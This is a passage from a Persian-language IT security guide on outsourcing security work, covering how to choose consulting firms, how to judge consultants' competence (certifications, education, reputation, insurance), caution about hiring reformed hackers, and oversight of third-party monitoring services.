است، ولي انتخاب شركتي كه اينكار را انجـام دهـد بايـد بـه               
دقت صورت گيرد و كارآيي آن نيز بايد بصورت منظم كنترل           

عايب برونسپاري امنيـت    در اين فصل برخي از مزايا و م       . شود
ذكر شده و يك دسـته سـؤالات كـه پـيش از نهـايي كـردن                 
مذاكرات با شركاي جديد بخش امنيت بايد به آنها پاسـخ داد            

  .اندنيز عنوان شده

  برونسپاري؛ جايگزيني براي
  هاي جديدورود ناخواستة سازمان به عرصه

گذشـته شـايد بـه ايـن       هاي فـصل  همة مطالـب   ةبعد از مطالع  
ه رسيده باشيد كه تمامي سياستها و طرحهـا در وضـعيت      نتيج

خوبي هستند؛ يا اينكه هنوز كارهايي وجود دارند كه بخواهيد          
 .انجام دهيد؛ يا ممكن است از حجم كل كـار ترسـيده باشـيد             

شـدن  انجـام كه  اين تصور را نكنيد        آخر هستيد  دستهاگر جزء   
هـاي  راه .ناپـذير اسـت   آن فعاليت براي شركت شـما امكـان       

ديگري هم براي تدوين سياستها و طرحها و تأمين امنيـت در    
  ، مشاوران و پيمانكـاران      استفاده از منابع  : ادارة شما وجود دارد   

كوچـك  انفـرادي   تجارت  يك   اگر شما     حتي .خارج از شركت  
فناوري اطلاعـات و    وابسته به   كه  در منزل يا شركتي كوچك      

 منافع تقسيم تجـارب     ازتوانيد    داشته باشيد مي  است   ارتباطات
عقد قـرارداد همكـاري بـا آندسـته از          : تخصصي استفاده كنيد  

ديـده و    تواننـد يـك گـروه آمـوزش       شركتهاي امنيتي كه مـي    
اي وابسته نيستند را استخدام كننـد و   باتجربه كه به هيچ اداره    

ــا يتوانا ــشان را ب ــشتريان متقاضــي يهاي ــسيم م ــد تق و نماين

                                                                  
 )Outsourcing(ابع خارج از سازمان واگذاري امنيت به من   ۱۰۰

  .نها قرار دهندمهارتهاي خود را در اختيار آ

  اطلاعـات  در فناوريي  يمهارتهاي بالا شما  از طرف ديگر اگر     
و توانائيهاي خود   كنيد  توانيد شركتي تأسيس       مي داشته باشيد 
در . كساني قرار دهيد كه به اين خدمات نياز دارند        را در اختيار    

شـود؛  پيـدا مـي   شـغلي مهمـي     اين قبيل شركتها تواناييهـاي      
امنيت اطلاعات  متخصص  اندازة كافيبهدر سطح دنيا    چراكه  

 و  صـنايع بتوانـد جوابگـوي تمـامي نيازهـاي         كه  وجود ندارد   
لذا در پاسخگويي به نيازهاي      .١٠١باشددر سراسر جهان     دولتها

غرب، يك انفجار در بكـارگيري خـدمات           در امنيت اطلاعات 
مـشاوران و منــابع خـارجي بــراي كمــك بـه ســازمانهاي بــا    

 مشابه حالتي كه براي     .رت گرفته است  هاي مختلف صو    اندازه
بسياري ديگر از خـدمات قابـل واگـذاري بـه منـابع خـارج از              

يـك و   سازمان وجود دارد، اينجا نيز برخـي از شـركتها درجـه           
ممتاز هستند، برخي در زمينة كـار خـود از تخـصص بـالايي              

متأسـفانه  . كنندبرخوردارند، و برخي ديگر نيز ضعيف عمل مي       
توان بـا يـك نگـاه       اي است كه نمي     ه بگونه وضعيت اين شاخ  

انـد را   كـار تهيـه شـده     ضعف پيشنهاداتي كه توسط افراد تـازه      
  .تشخيص داد

اگر به اين دليل كه سـازمان شـما بخـشي مخـصوص تهيـة               
ايد سياستها و طرحهاي    هاي امنيتي ندارد هنوز نتوانسته    برنامه

كنيـد،  ترميم از سوانح و واكنش به رخدادهاي خود را تـدوين            
توصية ما اين است كه براي اينكار از منـابع خـارج سـازماني              

المللـي وجـود دارنـد كـه بـه             بين  چند سازمان . كمك بگيريد 
هـاي مـرتبط بـا فنـاوري        كشورهاي درحال توسعه در زمينـه     

اگـر چنـين تخصـصي در دسـترس         . كننداطلاعات كمك مي  
ي مـدت و هـم بـرا        تواند هم براي پـشتيباني كوتـاه        باشد، مي 

بـسيار  ) آموزش و كسب آگاهي(تر ريزي توانمنديهاي بلندمدت    پي
  .ارزشمند باشد

  تدوين طرح اجرايي
چـه خـدماتي    تشخيص دهيد بايـد از       اين است كه     قدماولين  

  :استفاده كنيد

                                                                  
ديدة امنيت، كمبود كاركنان و يكي از نتايج كمبود متخصص آموزش       ۱۰۱

منابع پشتيباني تحـصيلات امنيـت اطلاعـات در مراكـز آموزشـي و            
كننـد كـه ايـن حـوزه از        دولتها و صنايع ادعـا مـي      . دانشگاهها است 

بـراي كمـك    اهميت زيادي برخوردار است، اما در تخصيص منابعي         
 .اندشدن اين حوزه به شدت شكست خوردهبه ساخته
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آيــا بخــش امنيــت را بعنــوان بخــشي از ســازمان خــود و بــا 
  كنيد؟ اندازي ميكارمندان خود راه

ط به مشاوراني نياز داشـته باشـيد كـه    اگر چنين باشد شايد فق 
براي اطمينان از فراموش نشدن يك مـسئله مهـم، عمليـات            

  .شما را بررسي كنند

شايد خودتان براي اينكار كارشناساني داشته باشيد ولي نگران   
  .زمان كم يا توانايي واكنش مناسب آنها به يك بحران باشيد

ازار برويـد   به ب  جلب همكاريِ يك شركت   براي  توانيد  ميپس  
 بـه ) تمام وقت و يا پـاره وقـت       (اي همكاري   ر ب تا چند پيمانكار را   
ممكن است بخواهيـد از خـدمات       همچنين  . ادارة شما بفرستد  

 تنهـا   استفاده كنيد تا ١٠٢از راه دور  نظارت و واكنش     يشركتها
 بـه شـما     اشـكال درصورت بروز   بر امنيت شما نظارت كنند و       

  .نمايندكمك 

نيـازي بـه   يـا  بكار بگيريد ارمند تمام وقت يك كشايد نتوانيد   
 عقـد در اينـصورت ممكـن اسـت        . چنين كسي نداشته باشـيد    

مـشاوره و نظـارت كـه در ايـن زمينـه            كت  رقرارداد با يك ش   
نيز مقرون  كند و   را برآورده    تاننيازكند  خدمات كامل ارائه مي   

  .باشدتر به صرفه

دانيـد  ايـن اسـت كـه ب      فـوق    كليدي در هريك از موارد     ةنكت
هريك از آن خدمات به كدام نيازهايتـان        و  هايتان چيست   نياز

  چراكـه تـا     نيـست،  اين مسئله هميـشه سـاده     . دهند پاسخ مي 
و محيط اطراف خود    نكرده   مسائل امنيتي را پيدا      ةوقتي تجرب 

  .دانيدرا نميخود نشناخته باشيد، نيازهاي واقعي را خوب 

  انتخاب فروشنده
تـا  ي امور امنيتي به شركتهاي ثالث       برونسپارشما در   موفقيت  

زيادي به سازمانها يا افرادي بستگي دارد كه آنها را بـراي     حد  
  .ايد كار انتخاب كردهاين

   پافشاري كنيديك راهنما بگيريد و روي معرفها
 روشهاي  يكي از بهترين   ،شركتهاي مشاوره  زياد   تنوعبه علت   

 آشـنا و    پرسيدن از يك سازمان    نظرتان،انتخاب شركت مورد    
متأسفانه هميشه پيدا كـردن     . باشد  مشابه سازمان خودتان مي   

يـا   ،بـسياري از سـازمانها    .  يك معرف خوب امكانپذير نيـست     
خود را در يك نمايـشگاه تجـاري پيـدا           اي  شركتهاي مشاوره 
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مطـالبي  آنهـا   انـد، يـا اولـين بـار در مقـالات خبـري از               كرده
فني و از طريق يك     اند، و يا پس از يك تماس سادة تل         خوانده

  .اندواسطه تصميم به استفاده از خدمات آنان گرفته

قـرار  جايگـاهي   ثالث امنيتـي در     يك شركت   كه   بديهي است 
بـه سـازمان شـما وارد       سـنگيني   تواند خسارتهاي    كه مي دارد  
 بسيار امانتدار   امنيت بيروني   تأمين حتي اگر يك شركت   . آورد

بـه آنهـا اعتمـاد       كاري   شما در انجام  چنانچه   ،باشدشايسته  و  
كنيد و آن كار بصورت نامطلوب انجام شود ممكـن اسـت تـا              

 زمانيكـه شـايد     -ماهها بعد كه پيامـدهاي آن آشـكار شـوند           
 متوجه آن اشـكال  -رابطة شما با آن شركت پايان يافته باشد   

  .نشويد

 درنظـر   همكـاري دليل وقتي يك شـركت را بـراي          ينهمبه  
  :گيريد بايد مي

  بررسي كنيدمعرفها را 
اي بگرديد كه شـخص يـا سـازماني را            معرفهاي حرفه بدنبال  

  اند كه خدماتي مشابه آنچه شما بدنبال آن هـستيد         بكار گرفته 
  .كندرا ارائه مي

   را بررسي كنيدافراد
اند، بـا     اگر افراد خاصي براي انجام كارتان به شما معرفي شده         

شـرح  " راداف ـ"روشهايي كه در ادامة همين مبحث و در بخش          
شـركتهاي بـزرگ    در مـورد    . دهيم آنهـا را ارزيـابي كنيـد         مي

 درگير در پروژة شما را تا پرداخـت         اي كه اسامي افراد    مشاوره
دهند محتاطانه  قسط اول هزينة قرارداد در اختيارتان قرار نمي       

  .عمل كنيد

  پايداري و تدام فعاليت شركت را در نظر بگيريد
ايد بايـد    مدت قرارداد بسته    بلند ةپروژيك  اگر شما براي انجام     

در تمام مـدت    طرف قرارداد   اطمينان حاصل كنيد كه شركت      
منظـور از ايـن نكتـه ايـن         . طولِ قرارداد وجود خواهد داشـت     

ــا نيــست كــه  ــد ب شــركتهاي اســتفاده از خــدمات شــما نباي
 بلكه بايد مطمئن شويد كه سازمان       ،تأسيس موافقت كنيد   تازه

 مــالي لازم بــراي انجــام ةپـشتوان مــديريت و مربوطـه واجــد  
اي كه داراي نرخهاي     از شركتهاي مشاوره  .  باشد  تعهداتش مي 

بـا فـروش    د  ن ـنتوانچراكـه اگـر      ؛پائين هستند اجتنـاب كنيـد     
هـاي خـود را تـأمين       خريد هزينـه  از آنها مي  شما  كه   يخدمات
بدست جاي ديگر اين پول را      خواهند كرد از    سعي  آنگاه  ،  كنند
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دمات هرچند سطح بالاي آنها در جـاي ديگـر و           آورند و لذا خ   
  .شايد حتي تجارت ديگري متمركز خواهد شد

  مراقب فريبكاريها باشيد
 كه در آن يـك شـركت بـه    ١٠٣جانبهقراردادهاي همهدر مورد   

سـازي  تنهايي همـة سياسـتها را تهيـه نمـوده و بـراي پيـاده              
فروشـد مراقـب      افزار لازم را نيز مي      سياستها، خدمات و سخت   

ايـم كـه در آن نيازهـاي        ما گزارشـاتي دريافـت كـرده      . باشيد
سياست امنيتي و نيازهاي طرح امنيتي به طرز مشكوكي براي     
همة مـشتريان بـسيار مـشابه يكـديگر بـوده و در همگـي از                

ايِ نسبتاً مشابهي استفاده    حلهاي مشاوره   افزار پايه و راه     سخت
ما را محـدود     اگر شما شركتي را انتخاب كنيد كه ش        .شده بود 

به ارتباط انحصاري بلندمـدت بـا خـود نكنـد، آنگـاه احتمـال        
شده توسـط   بيشتري وجود خواهد داشت كه سياستهاي تدوين      

آن سازمان مطابق نيازهاي واقعـي شـما باشـد و نـه مطـابق               
  .رسانندوسايلي كه آنها به فروش مي

  گستردگي تجارب را درنظر بگيريد
 تجربـه    عمدة شركتهايي كه اب  الامكان از انتخ  حتيشما بايد   

خـاص  افـزاري    نـرم بستر  مشتري يا يك    مربوط يك نوع    آنها  
مگر آنكه نيازهـاي سـازمان شـما         محتاطانه عمل كنيد،   است

 كه شركت مزبور بـه آنهـا ارائـه خـدمات             دقيقاً با سازمانهايي  
 يـك شـركت       بعنـوان مثـال    .دهد مطابقـت داشـته باشـد      مي

ادارات را به   شخص ثالث   امنيتي   تاي كه اساساً خدما    مشاوره
 Microsoft Windowsسيـستم   از كهدهد  پليس ارائه مي

كـه  د ممكن است براي يك شـركت دارويـي          نكن  استفاده مي 
ــي از  ــه  Unix و Windowsتركيب ــار گرفت ــاب  را بك انتخ

اي ممكن اسـت     شركت مشاوره گسترة تجارب    . نباشدمناسبي  
 سياستي مناسـبي بـراي      آنقدر فراگير نباشد كه بتواند خدمات     

  نكته  اين .پاسخگويي به نيازهاي محيط كاري شما ارائه دهد       
در يـك حـوزة     به اين معني نيست كه افراد با سـوابق كـاري            

 امـا   ؛ توانند دورنماي مناسبي براي شما فراهم كنند         نمي خاص
بـراي   روشـني    شـواهد و ببينيد كه آيا      شما بايد محتاط باشيد   

  .دارند يا خيرتأييد اين موضوع وجود 

كاركنان اين شركتها حداقل بايد با مسائل زير آشنايي داشـته           
  :باشند
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را شـرايطي   مسائل مديريتي كـه     آندسته از   و  كار  قانون   •
 كه در آنهـا افـراد داخلـي بـر عليـه             دنكنميپيش بيني   

  كنند؛كارفرمايشان اقدام قانوني مي

  اي ملي و محلي؛ قوانين جرائم رايانه •

  ريها و محدوديتهاي رمزنگاري؛محصولات، فناو •

مخـرب،  افزارهاي    نرم ساير اي،رايانه هاي، كرم هاويروس •
  ؛١٠٤افزارهاي پوينده نرمو همچنين 

  مجــازيهــاي خــصوصيِ شــبكهدر  TCP/IP اصــول •
(VPNs)هاي آتش؛  و ديواره١٠٥  

  آموزش و آگاهي عمومي، راهنماها و خدمات؛ •

   رخدادها و پيگردهاي قانوني؛ واكنش به •

  ي؛ وافزار نرم  ويافزار ختسامنيت  •
الگوهاي سرآمدي، روشهاي رسمي ارزيابي مخـاطره، و         •

  .مسائل مربوط به امور بيمه

كه بخواهد سياسـتهاي خـوبي       اي  هر شركت خدمات مشاوره   
 پرسـنلي داشـته     براي سازمانهاي طرف قرارداد تهيه كند بايد      

تاب  مباحث مختلف كه در اين ك      ةدربارطالب گفتگو   باشد كه   
اگر آنها آماده و    . باشندپردازيم     اين فصل به آن مي      در ويژهو ب 

 ممكـن اسـت     مورد ايـن عنـاوين نباشـند      يا قادر به بحث در      
  .نباشندخدمات انتخاب مناسبي براي ارائه 

اگر در مورد اين شركتها نگراني خاصي داريد كافيست از آنها           
بخواهيد كه سياستها يا روالهايي كه براي يك مشتري ديگـر           

برخـي از شـركتها   .  اند را در اختيار شما قـرار دهنـد       هيه كرده ت
چنين سندي را بعد از حذف اسم و مشخصات مشتري به شما           

ساير شركتها ممكن اسـت مـشتريهايي داشـته       . دهندارائه مي 
" مشتريان مرجع "باشند كه خودشان خواسته باشند در فهرست        

 ـ          . قرار گيرند  ه هـر  بعضي شـركتها ممكـن اسـت پـيش از ارائ
ــه    ــد موافقتنامـ ــما بخواهنـ ــاتي از شـ ــر اطلاعـ   اي دال بـ

از خدمات شـركتهايي كـه      .  سري نگهداشتن اسناد امضا كنيد    
اسم و اسناد مشتريان خود را بدون مجوز آنها در اختيار شما و             

دهند استفاده نكنيد؛ چون طبيعتاً در اينصورت         ديگران قرار مي  
ر مـشتريان بعـدي     اطلاعات را شما نيز بدون مجـوز در اختيـا         

نكتة آخر اينكه اگر از كارشناسان خـارج        . خود قرار خواهند داد   
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 راهنماي امنيت فناوري اطلاعات ١٧٠

از سازمان يا يك كشور ديگر كمك گرفتيد، فرامـوش نكنيـد            
كه يكي از شرايط قرارداد بايد اين باشد كـه آنهـا بـه توسـعة                
ظرفيت محلي سازمان و درصورت امكان كشور شـما كمـك           

  .كنند

هاي گذار در كـشورهاي     ي دوره اين كاملاً طبيعي است كه ط     
درحال توسعه شركتها از كمك كارشناسـان خـارجي اسـتفاده           

توانيد از ايـن روابـط بـراي انتقـال          آل مي در حالت ايده  . كنند
دانش و فنـاوري و افـزايش اسـتعدادهاي بـومي و درصـورت        

  .امكان افزايش آگاهي كارشناسان ملي استفاده كنيد

  معيارهاي شايستگي 
 نان امنيت فناوري اطلاعاتبراي كارك

مهمتــر از همــه بايــد در فكــر افــرادي باشــيد كــه خــدمات  
. دهنـد سازي آنرا به شما ارائه مـي سياستگذاري امنيتي و پياده   

اي، در خصوص مشاوريني كـه      بر خلاف ساير خدمات مشاوره    
انـد بايـد بـسيار      براي مـسائل امنيتـي بـه اسـتخدام در آمـده           

كه بكارگيري نيروي خـارجي بـراي       محتاطانه رفتار كنيد؛ چرا   
تأمين امنيت معمولاً بدان معناست كه سـطوحي از دسترسـي           

  .دهيدبه سيستم و اطلاعات خود را در اختيار آنها قرار مي

همانگونه كه قبلاً اشاره كرديم در اطراف ما كارشناسان ماهرِ          
اين بدان معنا است كه گاهي اوقات شـما         . زيادي وجود ندارند  

اي كـه     ادي را بكار گيريد كه اطلاعات آنها بـه انـدازه          بايد افر 
، ولي به هرحال از عهـدة كارتـان بـر             خواهيد جامع نيست    مي
در مورد كسانيكه در زمينة تخـصص خـود ادعاهـاي           . آيند  مي

كنند يا آنها كه تخصصشان بـه آنچـه بـدان نيـاز              دروغين مي 
رد يا  بهتر است از خدمات ف    . داريد نامربوط است مراقب باشيد    

در خلال كـار،    "كنند  شركتي استفاده كنيد كه خود اعتراف مي      
و احتمالاً به همين دليل وجه كمتـري     " (يادگيري هم خواهند داشت   

، تا اينكـه فـردي اسـتخدام كنيـد كـه تـلاش              )كنند دريافت مي 
  .كند نقايص كار خود را پنهان كند مي

فـرادي  يافتـه از ا بازارهاي امروزي امنيت در كشورهاي توسعه     
 در سـطوح    Windowsكه در زمينة ايمن كـردن بـسترهاي         

مختلف تخصص دارنـد اشـباع شـده اسـت، امـا كارشناسـان              
توان  از كتابها مي.  كمتر هستندUnixبسترهاي ديگر از جمله    

اطلاعات زيادي در مورد امنيت آموخت، اما تنها مطالعة كتاب          
 داريـد   هايي كه در مـورد آنهـا نگرانـي        در حوزه . كافي نيست 

  :بدنبال معيارهاي شايستگي كارمندان باشيد؛ بخصوص

  هاگواهينامه
هايي كه  از متقاضيان گواهينامه بخواهيد و از اعتبار گواهينامه       

ها قابل  برخي از گواهينامه  . كنند اطمينان حاصل كنيد   ارائه مي 
خريد هستند و فرد براي دريافت آنها كافيست در يكـسري از            

ي يـا كلاسـهاي آموزشـي شـركت كنـد،           سمينارهاي اينترنت ـ 
مطالب تئوري را براي چند ساعت به خاطر بسپارد، و سؤالات           

. ها چندان ارزشمند نيـستند    اين گواهينامه . تستي را پاسخ دهد   
هاي ديگري وجود دارند كه نيازمند تجارب عملي و         گواهينامه

  .باشندتخصص عميقتر مي

و لـذا از اشـاره   گواهينامه هنوز يك بحث درحال تكامل است        
تـوان  هاي فعلي آن اكراه داريم، اما بعنوان مثال مـي         به نمونه 

 اشـاره كـرد كـه هرچنـد همـة آن            CISSP١٠٦به گواهينامة   
چيزي نيست كه ممكن است بخواهيم، اما يك مدرك معتبـر           
براي تأييد سطحي معين از تجربه و تخصص در زمينة امنيت           

  ١٠٧.است

  تحصيلات
برخي افـراد مهـارت بـالاي       .  كنيدسوابق تحصيلي را بررسي     

اي خود را در نتيجة مطالعـه و تجربـة شخـصي بدسـت                رايانه
اند و برخي ديگر دربارة علوم و مهندسي رايانـه مـدارك            آورده

؛ اما باور جهاني ايـن اسـت كـه            اي دارند   تحصيلي و دانشكده  
همانگونه كه در بخـش     . سطح مهارت مهمتر از مدارك است     

ديم بررسي كنيد كه آيا ادعاهاي متقاضـيان        كاركنان اشاره كر  
سازمان امنيت ملي ايـالات     .  يا خير   با مداركشان مطابقت دارد   

متحده در زمينة امنيـت اطلاعـات تعـداد محـدودي مؤسـسة             
طبق . معرفي كرده است  " قطبهاي آموزشي "آموزشي را بعنوان    

 در ژوئـن    infosecآن فهرست طرحهاي پيـشروي مؤسـسة        
،  ١٠٩جيمـز مديـسون  ، ١٠٨جرج ميـسون ههاي  در دانشگا ۲۰۰۲
، آموزشـگاه كارشناسـي ارشـد     ١١١ آيـوا  ، ايالـت    ١١٠ ايداهو ايالت

                                                                  
  :در CISSPمراجعه كنيد به پورتال وب    ۱۰۶

http://www.cissps.com/ 
  :را نيز ببينيد www.isaca.orgس هاي زير در آدرگواهي   ۱۰۷

CISA (Certified Information Security Auditor) 
CISM (Certified Information Security 
Manager) 
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كاليفرنيـا  ، دانشگاه ١١٢دانشگاه پوردو وابسته به نيروي دريايي،     
در اطراف جهـان    . ، و دانشگاه ايداهو ارائه شدند     ١١٣در ديويس 

 وجـود   فنـاوري اطلاعـات   مراكز مقدماتي فراوانـي در زمينـة        
نابع محلي خود از جمله دانشگاهها را بررسي كنيد تـا           م. دارند

. مراكز مشابهي كه ممكن است در آنجا مستقر باشند را بيابيد          
توانيـد يكـي از سـازمانهايي كـه در بخـش             علاوه بر آن مـي    

  .اند را انتخاب نمائيد ضمائم كتاب ارائه شده

  شهرت
برنامة پركاربرد نوشـته باشـد يـا در يـك           اگر كسي يك قطعه   

وضوع امنيتي مثل ويروس يا رمزنگاري كتابي تـأليف كـرده    م
.  باشد بدان معنا نيست كه با مقولة امنيت بطور كامل آشناست          

برخي از نويسندگان سابقة زيادي در دامنة وسـيعي از مـسائل       
نويسان   ، اما برخي ديگر تنها نويسندگان يا برنامه         امنيتي دارند 

يـاد لزومـاً بـه معنـاي        آگاه باشيد كه شـهرت ز     .  خوبي هستند 
   .باشد شايستگي براي مشاوره نمي

  بيمه و تعهدنامه
خواهيد براي شما كار كنند بپرسـيد كـه آيـا             از افرادي كه مي   

دهد كـه     اينكار نشان مي  . اند يا خير    بيمه هستند و تعهد سپرده    
اينكـار  . دهد شركت آنها به شايستگي و رفتار افراد اهميت مي        

سـازمان واجـد شايـستگيهاي لازم       كنـد كـه آن      تضمين نمي 
دهـد كـه كاركنـان آن سـوء         باشد، اما به نوعي اطمينان مـي      

  .پيشينة جنايي ندارند

  ها رابطه
ــي، ملــي و   از افــراد بپرســيد كــه در كــدام ســازمانهاي محل

عـــضو ) UNISEX، و ACM ،ASIS ،CSI ،IEEE(المللـــي  بـــين
ين سـازمانها   ا.  يا خير   هستند و آيا ارتباط مطلوبي با آنها دارند       

براي اعضاي خـود مطالـب آموزشـي و فرصـتهاي پيـشرفت             
 و بـسياري از آنهـا نيـز بـراي رفتـار              سازند  تخصصي مهيا مي  

اگر سوژة شما تنها مـدعي      . كننداي استاندارد منتشر مي   حرفه
 The 133t Hax0r"سابقة عـضويت در گروههـايي مثـل    

Guild "              است شايد بهتـر باشـد جـاي ديگـري بـدنبال يـك
  !كارشناس امنيت بگرديد
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  نفوذگران اصلاح شده

كننـد    شود از كار با افراد و سازمانهايي كه ادعا مـي            توصيه مي 
اند نفوذگران اصلاح شده را بعنوان مشاوران امنيت بكار گرفته        

 اگرچه گاهي اوقات افرادي كه در ارتكـاب         ١١٤.خودداري كنيد 
عضو مفيدي  توانند تبديل به      اي درگير هستند مي     جرائم رايانه 

از جامعه شوند، اما نبايد بلافاصله به كساني كه مرتكب جرائم      
در اين زمينه نكات    . بين شد   اند يا سوء سابقه دارند خوش     شده

  :اندزير قابل اشاره

دار رسد كسانيكه در گذشتة خود سابقة خدشه        بنظر نمي  .۱
، مالكيـت شخـصي، و حقـوق خـصوصي            كردن قانون 

وبي براي حفاظـت از دارائـي و        افراد را دارند انتخاب خ    
حريم خصوصي مشتريان و حراسـت از منـابع حيـاتي           

دار بـراي   آيا شما حاضريد از يك مجـرم سـابقه        .  باشند
طراحي سيستم نظارت و هشدار سازمان خود اسـتفاده         
كنيد؟ آيا حاضريد يك تبهكـار اصـلاح شـده را بـراي             
ادارة مركز مراقبتهاي ويژة شركت بكـار گيريـد؟ ايـن           

بينيهـاي بـد نيـستند؛ بلكـه هريـك          وارد تنهـا پـيش    م
تواننــد پــاي شــما را بــه درصــورت بــروز اشــكال مــي

 به هـر حـال ايـن        -دادگاهها و محاكم مدني باز كنند       
ايد كه عليرغم آگاهي از سابقة آنـان تـصميم          شما بوده 

  .ايدبه استخدامشان گرفته

به همين صورت بايد در مورد افرادي كه هنگام انجـام     .۲
ورزند   احبه با شما از ارائه اسم واقعي خود امتناع مي         مص

شايد آنها واقعاً در ورود به بدنـة        . مراقبت به خرج دهيد   
يك سازمان با اسـتفاده از يـك تمـاس تلفنـي خبـره              

تـوان   تـرين دلايلـي كـه مـي      اما يكي از ابتدائي   ! باشند
براي استفادة افراد از اسامي مستعار برشمرد اين اسـت          

هند در قبال كارهايشان مسئوليتي بر عهده       خوا  كه نمي 
اگر يـك نـام مـستعار بـدنام شـد بـسيار             . داشته باشند 

توان آنرا عوض كرد تا اينكه كسي بخواهـد         آسانتر مي 
نام قانوني خود را تغيير دهد و يـا سـابقة آنـرا اصـلاح               

 .كند

                                                                  
-آمارهاي مربوط به شركتهاي ايالات متحده كه نفـوذگران اصـلاح             ۱۱۴

سـال  " ايتحقيق جرم و امنيـت رايانـه      "شده را بكار گرفته بودند در       
۲۰۰۳ CSI/FBI آمده است:  

http://i.cmpnet.com/gocsi/db_area/pdfs/fbi/FBI
2003.pdf 
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دست آخر اينكه بسياري از نفوذگران امـروزي چنـدان           .۳
آنها هـم در روش و      .  د نيستند هم به مباحث امنيتي وار    

هم در شيوة كار بيشتر مانند تبهكـاران جنـايي عمـل            
ايـن  .  اي  نويـسان و معمـاران رايانـه        كنند تا برنامـه   مي

، فقـدان رونـد       عاملهـاي امـروزي     كيفيت پائين سيستم  
ريزيها، و در دسـترس بـودن گـستردة          امنيت در برنامه  

يـازي    ستابزارهاي نفوذ خودكار است كه باعث شده د       
. اي بسادگي ميـسر باشـد       و حمله به سيستمهاي رايانه    

همانطور كه يكنفر با سابقة پرش با اتومبيل لزوماً يك          
رانندة ماهر ماشين مسابقه يا يك طـراح خبـرة موتـور            

داند چگونـه از ابزارهـاي        اتومبيل نيست، كسي كه مي    
برداري كند و حمـلات تخريـب سـرويس را          نفوذ بهره 

ز ممكن است در فهم خود از امنيت مورد         انجام دهد ني  
نياز براي ايمن نگهداشتن سيـستمها دچـار مـشكلات          

 .بنيادين باشد

  خدمات نظارت
اگر وضعيت عمومي پايدار باشد استفاده از خـدمات نظـارت و            

خدمات رايجي  . شودگذاري خوبي محسوب مي     كنترل سرمايه 
 محل كار   شوند عبارتند از راهبري   كه بصورت روزمره ارائه مي    

پيمانكاران، نظارت بر امنيت محل كار و خارج از آن، واكـنش            
و پـشتيباني از    ) درصـورت درخواسـت   (به رخداد و پيگرد قـانوني       

يك سايت جايگزين بـراي اسـتفاده در وقـت خرابـي سـايت              
اما علاوه بر نگراني در خصوص افـرادي كـه خـدمات            . اصلي

فزارهــا و ا دهنــد بايــد مراقــب ســخت اي ارائــه مــي مــشاوره
  .افزارهاي مورد استفادة آنها هم باشيد نرم

بسياري از شركتهاي خدمات نظـارتي و واكـنش بـه رخـداد،             
خواهند روي شـبكة      افزارهايي دارند كه مي     افزارها و نرم    سخت

 اطلاعـات لازم   آوري آنها از اينكار براي جمع. شما نصب كنند  
فاده جهــت بــازبيني و تغييــر تنظيمــات امنيتــي سيــستم اســت

بايد با اين فناوري برخورد محتاطانه داشته باشـيد؛         . نمايند مي
چراكه در موقعيتي مجاز و درون دايرة امنيتي شما قرار گرفته           

  :است

مطمئن شويد كه از عملكرد اجـزاي مختلـف شـبكه و            .۱
ــت     ــي درياف ــل و كتب ــيحات كام ــزات آن توض تجهي

همچنين اطمينان حاصـل كنيـد كـه متوجـه          . كنيد مي
كننـد و هريـك چـه       د آن اجزا چگونه كار مـي      شويمي

 .دهندكاري انجام مي

در مورد خرابيهاي تجهيزات از كسي كه مـسئوليت آن     .۲
اگـر  . جزء بر عهدة او است گزارش كتبي دريافت كنيد        

افزاري كه روي سيستم نـصب شـده          افزار يا نرم    سخت
هاي شما را به دنياي خارج از سازمان بفرسـتد يـا              داده

ــاربر ــره  در پرك ــصورت غيرمنتظ ــاعات روز ب دترين س
سيستمهاي شما را از كار بياندازد، نبايد ناگهان متوجـه          

ايـد هـيچ    شويد طبق توافقي كـه بـا فروشـنده داشـته          
 !مسئوليتي متوجه او نيست

جمع شويد كه در توسعه، آزمـايش و اسـتقرار آن             خاطر .۳
شود مراقبت  فناوري كه به سيستمهاي شما افزوده مي      

 شده است؛ بويژه اگر طراحي منحـصر بـه          دقيق انجام 
بطور خـاص، بـا توجـه بـه سـوابق           . فردي داشته باشد  

افزارهــاي شــركت   كيفــي و مــسائل امنيتــي نــرم   
كنــيم بــراي اســتفاده از  مايكروســافت، پيــشنهاد مــي

خدمات هر شركتي كه تصميم گرفته فنـاوري امنيـت          
خود را بر مبناي محصولات مايكروسـافت قـرار دهـد           

 را بعمــل آوريــد؛ چراكــه آن شــركت بايــد دقــت لازم
شدة جديد را در بيشتر محصولات      همواره معايب يافت  

رايــجِ خــود رفــع كنــد و در عــين حــال ســازگاري آن 
 .هاي قبلي را نيز حفظ نمايدمحصولات با نسخه

اينكه فناوري شركت مورد نظر واقعاً بـه جلـوگيري از            .۴
ل پي  كند يا بعد از وقوع مشك       بروز مشكلات كمك مي   

 .برد را به دقت مورد بررسي قرار دهيد به وجود آن مي

  كلام آخر پيرامون منابع خارج از سازمان
ــأمين      ــراي ت ــوبي ب ــي راه خ ــان بيرون ــتفاده از كارشناس اس

ــدوين  . باشــد حفاظتهــاي لازم مــي ــراي ت مهارتهــايي كــه ب
هـاي    يـاب و ديـواره    سياستها، نظارت بر سيـستمهاي مهـاجم      

و اجراي برنامة ترميم از سوانح لازم است        سازي    آتش، و آماده  
بعضاً بسيار تخصصي و نامتعارف هـستند و ممكـن اسـت در             

انجـام  . ميان كارمندان فعلـي سـازمان وجـود نداشـته باشـند           
صحيح همين كارهاست كه در تداوم يك تجـارت يـا خاتمـة             

  .كننده استآن به علت بروز عيب و نقصهاي مختلف، تعيين

شاورة امنيت با خطر روبرو است؛ چراكـه        در عين حال حوزة م    
،   افراد شارلاتان . شود  اي جديد است و بخوبي درك نمي      پديده
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كار هميشه وجود دارنـد و در بـسياري         تجربه و تازه    ، بي   باز  حقه
اي كـه در      توان آنها را از افراد قابل اعتماد و حرفـه           موارد نمي 

ان بـه   البتـه گذشـت زم ـ    . كننـد تميـز داد      اين زمينه كـار مـي     
كند، اما انتخـاب صـحيح در گـام         تشخيص مسائل كمك مي   

  .اول به مقداري تلاش و سرمايه نياز دارد

برداري شما از رشد اين حوزه پيـشنهاد          يك راه كه براي بهره    
شود دوري جـستن از انعقـاد قراردادهـاي طـولاني مـدت               مي

كنندة خدمات امنيتي شما بـسيار مـورد          است؛ مگر آنكه تأمين   
انـداز    چـشم . روز نگـه دارد   ن باشد و همواره خود را بـه       اطمينا

مشاورة امنيت در چند سال آينده مستعد تغييرات زياد است، و           
هاي مختلفي كـه همـراه بـا آن           اگر در هر زمان بتوانيد گزينه     

آيند را انتخاب كنيـد منـافع خودتـان بهتـر       تغييرات بوجود مي  
  .تأمين خواهد شد

 بـراي دريافـت خـدماتي قـرارداد         سرانجام عليرغم اينكه شما   
